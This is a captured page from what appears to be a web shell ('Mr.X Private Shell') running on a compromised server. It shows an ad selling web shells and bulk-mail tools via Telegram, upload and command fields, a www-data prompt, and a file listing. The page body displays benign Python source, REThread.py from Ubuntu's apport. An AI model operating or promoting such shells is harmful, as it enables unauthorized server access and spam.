__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
"""Enhanced Thread with support for return values and exception propagation."""

# Copyright (C) 2007 Canonical Ltd.
# Author: Martin Pitt <martin.pitt@ubuntu.com>
#
# This program is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the
# Free Software Foundation; either version 2 of the License, or (at your
# option) any later version.  See http://www.gnu.org/copyleft/gpl.html for
# the full text of the license.

# pylint: disable=invalid-name
# pylint: enable=invalid-name

import sys
import threading


class REThread(threading.Thread):
    """Thread with return values and exception propagation.

    The thread is marked as daemon thread. The entire Python program exits
    when no alive non-daemon threads are left.
    """

    def __init__(self, group=None, target=None, name=None, args=(), kwargs=None):
        """Initialize Thread, identical to threading.Thread.__init__()."""
        if kwargs is None:
            kwargs = {}

        threading.Thread.__init__(self, group, target, name, args, kwargs, daemon=True)
        self.__target = target
        self.__args = args
        self.__kwargs = kwargs
        self._retval = None
        self._exception = None

    def run(self):
        """Run target function, identical to threading.Thread.run()."""
        if self.__target:
            try:
                self._retval = self.__target(*self.__args, **self.__kwargs)
            except BaseException:  # pylint: disable=broad-except
                if sys:  # pylint: disable=using-constant-test
                    self._exception = sys.exc_info()

    def return_value(self):
        """Return value from target function.

        This can only be called after the thread has finished, i. e. when
        is_alive() is False and did not terminate with an exception.
        """
        assert not self.is_alive()
        assert not self._exception
        return self._retval

    def exc_info(self):
        """Return (type, value, traceback) of the exception caught in run()."""
        return self._exception

    def exc_raise(self):
        """Raise the exception caught in the thread.

        Do nothing if no exception was caught.
        """
        if self._exception:
            raise self._exception[1].with_traceback(self._exception[2])

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
crashdb_impl Folder 0755
packaging_impl Folder 0755
REThread.py File 2.3 KB 0644
__init__.py File 657 B 0644
crashdb.py File 34.17 KB 0644
fileutils.py File 21.9 KB 0644
hookutils.py File 35.42 KB 0644
logging.py File 1.41 KB 0644
packaging.py File 12.81 KB 0644
report.py File 74.28 KB 0644
sandboxutils.py File 12.72 KB 0644
ui.py File 77.96 KB 0644
user_group.py File 933 B 0644
Filemanager